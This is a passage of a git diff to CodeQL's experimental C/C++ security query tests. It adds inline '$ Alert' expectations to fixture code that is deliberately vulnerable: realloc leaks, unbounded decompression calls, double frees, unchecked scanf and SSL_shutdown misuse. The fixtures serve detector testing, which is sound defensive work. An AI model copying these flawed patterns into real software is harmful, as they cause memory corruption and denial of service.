tmpnam(NULL); // BAD // $ Alert fp = fopen(filename,"w"); fprintf(fp,"%s\n","data to file"); fclose(fp); diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/MemoryLeakOnFailedCallToRealloc.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/MemoryLeakOnFailedCallToRealloc.qlref index e80e86cbdccc..d3ede250c5b3 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/MemoryLeakOnFailedCallToRealloc.qlref +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/MemoryLeakOnFailedCallToRealloc.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.ql \ No newline at end of file +query: experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/test.c b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/test.c index df33fc19ef60..f5b58b8438fb 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/test.c +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-401/semmle/tests/test.c @@ -31,7 +31,7 @@ unsigned char * badResize_0(unsigned char * buffer,size_t currentSize,size_t new // BAD: on unsuccessful call to realloc, we will lose a pointer to a valid memory block if (currentSize < newSize) { - buffer = (unsigned char *)realloc(buffer, newSize); + buffer = (unsigned char *)realloc(buffer, newSize); // $ Alert } return buffer; } @@ -60,7 +60,7 @@ unsigned char * badResize_1_0(unsigned char * buffer,size_t currentSize,size_t n // BAD: on unsuccessful call to realloc, we will lose a pointer to a valid memory block if (currentSize < newSize) { - buffer = (unsigned char *)realloc(buffer, newSize); + buffer = (unsigned char *)realloc(buffer, newSize); // $ Alert } return buffer; } @@ -136,7 +136,7 @@ unsigned char * badResize_1_1(unsigned char * buffer,size_t currentSize,size_t n // BAD: on unsuccessful call to realloc, we will lose a pointer to a valid memory block if (currentSize < newSize) { - buffer = (unsigned char *)realloc(buffer, newSize); + buffer = (unsigned char *)realloc(buffer, newSize); // $ Alert } if(!buffer) aFakeFailed_1(1, 1); @@ -183,7 +183,7 @@ unsigned char * badResize_2_0(unsigned char * buffer,size_t currentSize,size_t n assert(buffer!=0); if (currentSize < newSize) { - buffer = (unsigned char *)realloc(buffer, newSize); + buffer = (unsigned char *)realloc(buffer, newSize); // $ Alert } return buffer; } @@ -279,7 +279,7 @@ unsigned char *goodResize_3_1(unsigned char *buffer, size_t currentSize, size_t unsigned char *tmp = buffer; if (currentSize < newSize) { - buffer = (unsigned char *)realloc(buffer, newSize); + buffer = (unsigned char *)realloc(buffer, newSize); // $ Alert if (buffer == NULL) { free(tmp); @@ -296,7 +296,7 @@ unsigned char *goodResize_3_2(unsigned char *buffer, size_t currentSize, size_t unsigned char *tmp = buffer; if (currentSize < newSize) { - tmp = (unsigned char *)realloc(tmp, newSize); + tmp = (unsigned char *)realloc(tmp, newSize); // $ Alert if (tmp != 0) { buffer = tmp; @@ -325,7 +325,7 @@ unsigned char * badResize_5_2(unsigned char *buffer, size_t currentSize, size_t // BAD: on unsuccessful call to realloc, we will lose a pointer to a valid memory block if (currentSize < newSize) { - buffer = (unsigned char *)realloc(buffer, newSize); + buffer = (unsigned char *)realloc(buffer, newSize); // $ Alert } if (cond) { @@ -339,7 +339,7 @@ unsigned char * badResize_5_1(unsigned char *buffer, size_t currentSize, size_t // BAD: on unsuccessful call to realloc, we will lose a pointer to a valid memory block if (currentSize < newSize) { - buffer = (unsigned char *)realloc(buffer, newSize); + buffer = (unsigned char *)realloc(buffer, newSize); // $ Alert assert(cond); // irrelevant } return buffer; diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-409/DecompressionBombs/DecompressionBombs.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-409/DecompressionBombs/DecompressionBombs.qlref index 3dcbc9db9ff4..b5c3a8e483da 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-409/DecompressionBombs/DecompressionBombs.qlref +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-409/DecompressionBombs/DecompressionBombs.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-409/DecompressionBombs.ql +query: experimental/Security/CWE/CWE-409/DecompressionBombs.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-409/DecompressionBombs/brotliTest.cpp b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-409/DecompressionBombs/brotliTest.cpp index 902749434736..649373d326dc 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-409/DecompressionBombs/brotliTest.cpp +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-409/DecompressionBombs/brotliTest.cpp @@ -15,12 +15,12 @@ BrotliDecoderResult BrotliDecoderDecompressStream( void brotli_test(int argc, const char **argv) { uint8_t output[1024]; size_t output_size = sizeof(output); - BrotliDecoderDecompress(1024, (uint8_t *) argv[2], &output_size, output); // BAD + BrotliDecoderDecompress(1024, (uint8_t *) argv[2], &output_size, output); // BAD // $ Alert size_t input_size = 1024; const uint8_t *input_p = (const uint8_t*)argv[2]; uint8_t *output_p = output; size_t out_size; - BrotliDecoderDecompressStream(0, &input_size, &input_p, &output_size, // BAD + BrotliDecoderDecompressStream(0, &input_size, &input_p, &output_size, // BAD // $ Alert &output_p, &out_size); } diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-409/DecompressionBombs/libarchiveTests.cpp b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-409/DecompressionBombs/libarchiveTests.cpp index 5988c9d0fc5e..9b8dfe194096 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-409/DecompressionBombs/libarchiveTests.cpp +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-409/DecompressionBombs/libarchiveTests.cpp @@ -19,7 +19,7 @@ static int read_data(archive *ar) { size_t size; la_int64_t offset; - int r = archive_read_data_block(ar, &buff, &size, &offset); // BAD + int r = archive_read_data_block(ar, &buff, &size, &offset); // BAD // $ Alert if (r == ARCHIVE_EOF) return ARCHIVE_OK; if (r < ARCHIVE_OK) diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-409/DecompressionBombs/main.cpp b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-409/DecompressionBombs/main.cpp index 47f76ff079ba..f890ba397a97 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-409/DecompressionBombs/main.cpp +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-409/DecompressionBombs/main.cpp @@ -4,7 +4,7 @@ void minizip_test(int argc, const char **argv); void zlib_test(int argc, const char **argv); void zstd_test(int argc, const char **argv); -int main(int argc, const char **argv) { +int main(int argc, const char **argv) { // $ Source brotli_test(argc, argv); libarchive_test(argc, argv); minizip_test(argc, argv); diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-409/DecompressionBombs/minizipTest.cpp b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-409/DecompressionBombs/minizipTest.cpp index 636f579feea7..b69eb27a3d78 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-409/DecompressionBombs/minizipTest.cpp +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-409/DecompressionBombs/minizipTest.cpp @@ -14,7 +14,7 @@ void minizip_test(int argc, const char **argv) { int32_t bytes_read; char buf[4096]; while(true) { - bytes_read = mz_zip_entry_read(zip_handle, (char *) argv[1], sizeof(buf)); // BAD + bytes_read = mz_zip_entry_read(zip_handle, (char *) argv[1], sizeof(buf)); // BAD // $ Alert if (bytes_read <= 0) { break; } @@ -23,7 +23,7 @@ void minizip_test(int argc, const char **argv) { void *zip_reader = mz_zip_reader_create(); mz_zip_reader_open_file(zip_reader, argv[1]); mz_zip_reader_goto_first_entry(zip_reader); - mz_zip_reader_entry_save(zip_reader, 0, 0); // BAD + mz_zip_reader_entry_save(zip_reader, 0, 0); // BAD // $ Alert - UnzOpen(argv[3]); // BAD + UnzOpen(argv[3]); // BAD // $ Alert } diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-409/DecompressionBombs/zlibTest.cpp b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-409/DecompressionBombs/zlibTest.cpp index 7643a607407b..bb2df6e1d349 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-409/DecompressionBombs/zlibTest.cpp +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-409/DecompressionBombs/zlibTest.cpp @@ -22,7 +22,7 @@ void UnsafeInflate(char *input) { infstream.next_out = output; // output char array inflateInit(&infstream); - inflate(&infstream, 0); // BAD + inflate(&infstream, 0); // BAD // $ Alert } @@ -38,7 +38,7 @@ void UnsafeGzread(char *fileName) { gzFile inFileZ = gzopen(fileName, "rb"); unsigned char unzipBuffer[8192]; while (true) { - if (gzread(inFileZ, unzipBuffer, 8192) <= 0) { // BAD + if (gzread(inFileZ, unzipBuffer, 8192) <= 0) { // BAD // $ Alert break; } } @@ -48,7 +48,7 @@ void UnsafeGzfread(char *fileName) { gzFile inFileZ = gzopen(fileName, "rb"); while (true) { char buffer[1000]; - if (!gzfread(buffer, 999, 1, inFileZ)) { // BAD + if (!gzfread(buffer, 999, 1, inFileZ)) { // BAD // $ Alert break; } } @@ -59,7 +59,7 @@ void UnsafeGzgets(char *fileName) { char *buffer = new char[4000000000]; char *result; while (true) { - result = gzgets(inFileZ, buffer, 1000000000); // BAD + result = gzgets(inFileZ, buffer, 1000000000); // BAD // $ Alert if (result == nullptr) { break; } @@ -74,7 +74,7 @@ void InflateString(char *input) { uLong source_length = 500; uLong destination_length = sizeof(output); - uncompress(output, &destination_length, (Bytef *) input, source_length); // BAD + uncompress(output, &destination_length, (Bytef *) input, source_length); // BAD // $ Alert } void zlib_test(int argc, char **argv) { diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-409/DecompressionBombs/zstdTest.cpp b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-409/DecompressionBombs/zstdTest.cpp index 42455185823c..8fa15ee39b6f 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-409/DecompressionBombs/zstdTest.cpp +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-409/DecompressionBombs/zstdTest.cpp @@ -36,7 +36,7 @@ void zstd_test(int argc, const char **argv) { ZSTD_inBuffer input = {buffIn, read, 0}; while (input.pos < input.size) { ZSTD_outBuffer output = {buffOut, buffOutSize, 0}; - size_t const ret = ZSTD_decompressStream(dctx, &output, &input); // BAD + size_t const ret = ZSTD_decompressStream(dctx, &output, &input); // BAD // $ Alert CHECK_ZSTD(ret); } } diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-415/semmle/tests/DoubleFree.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-415/semmle/tests/DoubleFree.qlref index 242beb593f8a..c6f509403283 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-415/semmle/tests/DoubleFree.qlref +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-415/semmle/tests/DoubleFree.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-415/DoubleFree.ql +query: experimental/Security/CWE/CWE-415/DoubleFree.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-415/semmle/tests/test.c b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-415/semmle/tests/test.c index 1c154c03094c..85130e5971ea 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-415/semmle/tests/test.c +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-415/semmle/tests/test.c @@ -8,14 +8,14 @@ void workFunction_0(char *s) { char *buf; buf = (char *) malloc(intSize); free(buf); // GOOD - if(buf) free(buf); // BAD + if(buf) free(buf); // BAD // $ Alert } void workFunction_1(char *s) { int intSize = 10; char *buf; buf = (char *) malloc(intSize); free(buf); // GOOD - free(buf); // BAD + free(buf); // BAD // $ Alert } void workFunction_2(char *s) { int intSize = 10; @@ -54,7 +54,7 @@ void workFunction_5(char *s, int intFlag) { if(intFlag) { free(buf); // GOOD } - free(buf); // BAD + free(buf); // BAD // $ Alert } void workFunction_6(char *s, int intFlag) { int intSize = 10; @@ -75,7 +75,7 @@ void workFunction_7(char *s) { char *buf1; buf = (char *) malloc(intSize); buf1 = (char *) realloc(buf,intSize*4); - free(buf); // BAD + free(buf); // BAD // $ Alert } void workFunction_8(char *s) { int intSize = 10; diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-476/semmle/tests/DangerousUseOfExceptionBlocks.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-476/semmle/tests/DangerousUseOfExceptionBlocks.qlref index c67adb8774be..5a285aaa56ca 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-476/semmle/tests/DangerousUseOfExceptionBlocks.qlref +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-476/semmle/tests/DangerousUseOfExceptionBlocks.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-476/DangerousUseOfExceptionBlocks.ql +query: experimental/Security/CWE/CWE-476/DangerousUseOfExceptionBlocks.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-476/semmle/tests/test.cpp b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-476/semmle/tests/test.cpp index de0be1efff25..9d7478548fd2 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-476/semmle/tests/test.cpp +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-476/semmle/tests/test.cpp @@ -68,7 +68,7 @@ void funcWork1b() { } delete [] bufMyData; - } + } // $ Alert } void funcWork1() { @@ -97,7 +97,7 @@ void funcWork1() { } delete [] bufMyData; - } + } // $ Alert } void funcWork2() { @@ -125,7 +125,7 @@ void funcWork2() { } delete [] bufMyData; - } + } // $ Alert } void funcWork3() { int a; @@ -148,7 +148,7 @@ void funcWork3() { } delete [] bufMyData; - } + } // $ Alert } @@ -180,7 +180,7 @@ void funcWork4b() { catch (...) { delete valData; // BAD - } + } // $ Alert } void funcWork5() { int a; @@ -218,7 +218,7 @@ void funcWork5b() { catch (...) { delete valData; // BAD - } + } // $ Alert } void funcWork6() { int a; diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-561/semmle/tests/FindIncorrectlyUsedSwitch.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-561/semmle/tests/FindIncorrectlyUsedSwitch.qlref index b16a5e484a60..aeadfbd0d1aa 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-561/semmle/tests/FindIncorrectlyUsedSwitch.qlref +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-561/semmle/tests/FindIncorrectlyUsedSwitch.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-561/FindIncorrectlyUsedSwitch.ql +query: experimental/Security/CWE/CWE-561/FindIncorrectlyUsedSwitch.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-561/semmle/tests/test.c b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-561/semmle/tests/test.c index ede4b87d249e..ecb421991a4c 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-561/semmle/tests/test.c +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-561/semmle/tests/test.c @@ -25,7 +25,7 @@ void testFunction(char c1,int i1) case 9: break; dafault: - } + } // $ Alert switch(c1){ // BAD c1=c1*2; @@ -35,7 +35,7 @@ void testFunction(char c1,int i1) break; case 9: break; - } + } // $ Alert if((c1<6)&&(c1>0)) switch(c1){ // BAD @@ -47,7 +47,7 @@ void testFunction(char c1,int i1) break; case 1: break; - } + } // $ Alert if((c1<6)&&(c1>0)) switch(c1){ // BAD @@ -55,6 +55,6 @@ void testFunction(char c1,int i1) break; case 1: break; - } + } // $ Alert } diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-670/semmle/tests/DangerousUseSSL_shutdown.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-670/semmle/tests/DangerousUseSSL_shutdown.qlref index 0c2096f68ff8..ee351aa3cfb9 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-670/semmle/tests/DangerousUseSSL_shutdown.qlref +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-670/semmle/tests/DangerousUseSSL_shutdown.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-670/DangerousUseSSL_shutdown.ql +query: experimental/Security/CWE/CWE-670/DangerousUseSSL_shutdown.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-670/semmle/tests/test.cpp b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-670/semmle/tests/test.cpp index 9ebe1cc10a53..ce550684d087 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-670/semmle/tests/test.cpp +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-670/semmle/tests/test.cpp @@ -42,7 +42,7 @@ int gootTest2(SSL *ssl) int badTest1(SSL *ssl) { int ret; - switch ((ret = SSL_shutdown(ssl))) { + switch ((ret = SSL_shutdown(ssl))) { // $ Alert case 1: break; case 0: @@ -58,7 +58,7 @@ int badTest1(SSL *ssl) int badTest2(SSL *ssl) { int ret; - ret = SSL_shutdown(ssl); + ret = SSL_shutdown(ssl); // $ Alert switch (ret) { case 1: break; diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-675/semmle/tests/DoubleRelease.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-675/semmle/tests/DoubleRelease.qlref index 3edd226abaa9..7d28602c7e9f 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-675/semmle/tests/DoubleRelease.qlref +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-675/semmle/tests/DoubleRelease.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-675/DoubleRelease.ql \ No newline at end of file +query: experimental/Security/CWE/CWE-675/DoubleRelease.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-675/semmle/tests/test.cpp b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-675/semmle/tests/test.cpp index 986a95b1ce96..143572b34c28 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-675/semmle/tests/test.cpp +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-675/semmle/tests/test.cpp @@ -17,7 +17,7 @@ void test2() FILE *f; f = fopen("myFile.txt", "wt"); - fclose(f); // BAD + fclose(f); // BAD // $ Alert fclose(f); } @@ -28,14 +28,14 @@ void test3() f = fopen("myFile.txt", "wt"); g = f; - fclose(f); // BAD + fclose(f); // BAD // $ Alert fclose(g); } int fGtest4_1() { fe = fopen("myFile.txt", "wt"); - fclose(fe); // BAD + fclose(fe); // BAD // $ Alert return -1; } diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-691/semmle/tests/InsufficientControlFlowManagementAfterRefactoringTheCode.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-691/semmle/tests/InsufficientControlFlowManagementAfterRefactoringTheCode.qlref index 496d5f1b7be6..50143aaec229 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-691/semmle/tests/InsufficientControlFlowManagementAfterRefactoringTheCode.qlref +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-691/semmle/tests/InsufficientControlFlowManagementAfterRefactoringTheCode.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-691/InsufficientControlFlowManagementAfterRefactoringTheCode.ql +query: experimental/Security/CWE/CWE-691/InsufficientControlFlowManagementAfterRefactoringTheCode.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-691/semmle/tests/InsufficientControlFlowManagementWhenUsingBitOperations.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-691/semmle/tests/InsufficientControlFlowManagementWhenUsingBitOperations.qlref index 9bf28db3c8a8..2e5848da6d23 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-691/semmle/tests/InsufficientControlFlowManagementWhenUsingBitOperations.qlref +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-691/semmle/tests/InsufficientControlFlowManagementWhenUsingBitOperations.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-691/InsufficientControlFlowManagementWhenUsingBitOperations.ql +query: experimental/Security/CWE/CWE-691/InsufficientControlFlowManagementWhenUsingBitOperations.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-691/semmle/tests/test.c b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-691/semmle/tests/test.c index 1f41f499dede..58c687d53005 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-691/semmle/tests/test.c +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-691/semmle/tests/test.c @@ -5,25 +5,25 @@ void workFunction_0(char *s) { int intSize; char buf[80]; if(intSize>0 && intSize<80 && memset(buf,0,intSize)) return; // GOOD - if(intSize>0 & intSize<80 & memset(buf,0,intSize)) return; // BAD + if(intSize>0 & intSize<80 & memset(buf,0,intSize)) return; // BAD // $ Alert[cpp/errors-when-using-bit-operations] if(intSize>0 && tmpFunction()) return; - if(intSize<0 & tmpFunction()) return; // BAD + if(intSize<0 & tmpFunction()) return; // BAD // $ Alert[cpp/errors-when-using-bit-operations] } void workFunction_1(char *s) { int intA,intB; - if(intA + intB) return; // BAD + if(intA + intB) return; // BAD // $ Alert[cpp/errors-after-refactoring] if(intA + intB>4) return; // GOOD - if(intA>0 && (intA + intB)) return; // BAD + if(intA>0 && (intA + intB)) return; // BAD // $ Alert[cpp/errors-after-refactoring] while(intA>0) { if(intB - intA<10) break; intA--; - }while(intA>0); // BAD + }while(intA>0); // BAD // $ Alert[cpp/errors-after-refactoring] for(intA=100; intA>0; intA--) { if(intB - intA<10) break; - }while(intA>0); // BAD + }while(intA>0); // BAD // $ Alert[cpp/errors-after-refactoring] while(intA>0) { if(intB - intA<10) break; diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-703/semmle/tests/FindIncorrectlyUsedExceptions.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-703/semmle/tests/FindIncorrectlyUsedExceptions.qlref index 85ac9ad2fd43..5dbfe0957a7b 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-703/semmle/tests/FindIncorrectlyUsedExceptions.qlref +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-703/semmle/tests/FindIncorrectlyUsedExceptions.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-703/FindIncorrectlyUsedExceptions.ql +query: experimental/Security/CWE/CWE-703/FindIncorrectlyUsedExceptions.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-703/semmle/tests/test.cpp b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-703/semmle/tests/test.cpp index f255aabbb422..303728e97317 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-703/semmle/tests/test.cpp +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-703/semmle/tests/test.cpp @@ -32,13 +32,13 @@ void funcTest2() void funcTest3() { - std::runtime_error("msg error"); // BAD + std::runtime_error("msg error"); // BAD // $ Alert throw std::runtime_error("msg error"); // GOOD } void TestFunc() { - funcTest1(); - DllMain(); + funcTest1(); // $ Alert + DllMain(); // $ Alert funcTest2(); } diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-754/semmle/tests/ImproperCheckReturnValueScanf.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-754/semmle/tests/ImproperCheckReturnValueScanf.qlref index f0cb9dd57c1e..1bc37310f275 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-754/semmle/tests/ImproperCheckReturnValueScanf.qlref +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-754/semmle/tests/ImproperCheckReturnValueScanf.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-754/ImproperCheckReturnValueScanf.ql +query: experimental/Security/CWE/CWE-754/ImproperCheckReturnValueScanf.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-754/semmle/tests/test.cpp b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-754/semmle/tests/test.cpp index b9608b757b9c..749dc9bdc676 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-754/semmle/tests/test.cpp +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-754/semmle/tests/test.cpp @@ -49,9 +49,9 @@ int functionWork1b(int retIndex) { char a[10]; int b; int *p = &b; - scanf("%i", &i); // BAD - scanf("%s", a); // BAD - scanf("%i", p); // BAD + scanf("%i", &i); // BAD // $ Alert + scanf("%s", a); // BAD // $ Alert + scanf("%i", p); // BAD // $ Alert if(retIndex == 0) return (int)*a; if(retIndex == 1) @@ -102,9 +102,9 @@ int functionWork2b() { char a[10]; int b; int *p = &b; - scanf("%i", &i); // BAD - scanf("%s", a); // BAD - scanf("%i", p); // BAD + scanf("%i", &i); // BAD // $ Alert + scanf("%s", a); // BAD // $ Alert + scanf("%i", p); // BAD // $ Alert globalVal = i; globalVala = a; globalValp = p; @@ -112,12 +112,12 @@ int functionWork2b() { } int functionWork2b_() { char a[10]; - scanf("%s", a); // BAD + scanf("%s", a); // BAD // $ Alert globalVala2 = a[0]; return 0; } int functionWork3b(int * i) { - scanf("%i", i); // BAD + scanf("%i", i); // BAD // $ Alert return 0; } int functionWork3() { diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-758/semmle/tests/UndefinedOrImplementationDefinedBehavior.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-758/semmle/tests/UndefinedOrImplementationDefinedBehavior.qlref index e178bc348e9b..933f46a7abff 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-758/semmle/tests/UndefinedOrImplementationDefinedBehavior.qlref +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-758/semmle/tests/UndefinedOrImplementationDefinedBehavior.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-758/UndefinedOrImplementationDefinedBehavior.ql +query: experimental/Security/CWE/CWE-758/UndefinedOrImplementationDefinedBehavior.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-758/semmle/tests/test.c b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-758/semmle/tests/test.c index 01d8e666cdd8..f05eed27629a 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-758/semmle/tests/test.c +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-758/semmle/tests/test.c @@ -10,10 +10,10 @@ char tmpFunction2(char * buf) } void workFunction_0(char *s, char * buf) { int intA; - intA = tmpFunction1(buf) + tmpFunction2(buf); // BAD + intA = tmpFunction1(buf) + tmpFunction2(buf); // BAD // $ Alert intA = tmpFunction1(buf); //GOOD intA += tmpFunction2(buf); // GOOD - buf[intA] = intA++; // BAD + buf[intA] = intA++; // BAD // $ Alert intA++; buf[intA] = intA; // GOOD } diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-783/semmle/tests/OperatorPrecedenceLogicErrorWhenUseBitwiseOrLogicalOperations.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-783/semmle/tests/OperatorPrecedenceLogicErrorWhenUseBitwiseOrLogicalOperations.qlref index 0c3f1c1c6a67..e2b7ace55b93 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-783/semmle/tests/OperatorPrecedenceLogicErrorWhenUseBitwiseOrLogicalOperations.qlref +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-783/semmle/tests/OperatorPrecedenceLogicErrorWhenUseBitwiseOrLogicalOperations.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-783/OperatorPrecedenceLogicErrorWhenUseBitwiseOrLogicalOperations.ql +query: experimental/Security/CWE/CWE-783/OperatorPrecedenceLogicErrorWhenUseBitwiseOrLogicalOperations.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-783/semmle/tests/test.cpp b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-783/semmle/tests/test.cpp index 479a4e5d6a3a..834ea2719213 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-783/semmle/tests/test.cpp +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-783/semmle/tests/test.cpp @@ -1,14 +1,14 @@ void testFunction(int i1, int i2, int i3, bool b1, bool b2, bool b3, char c1) { - 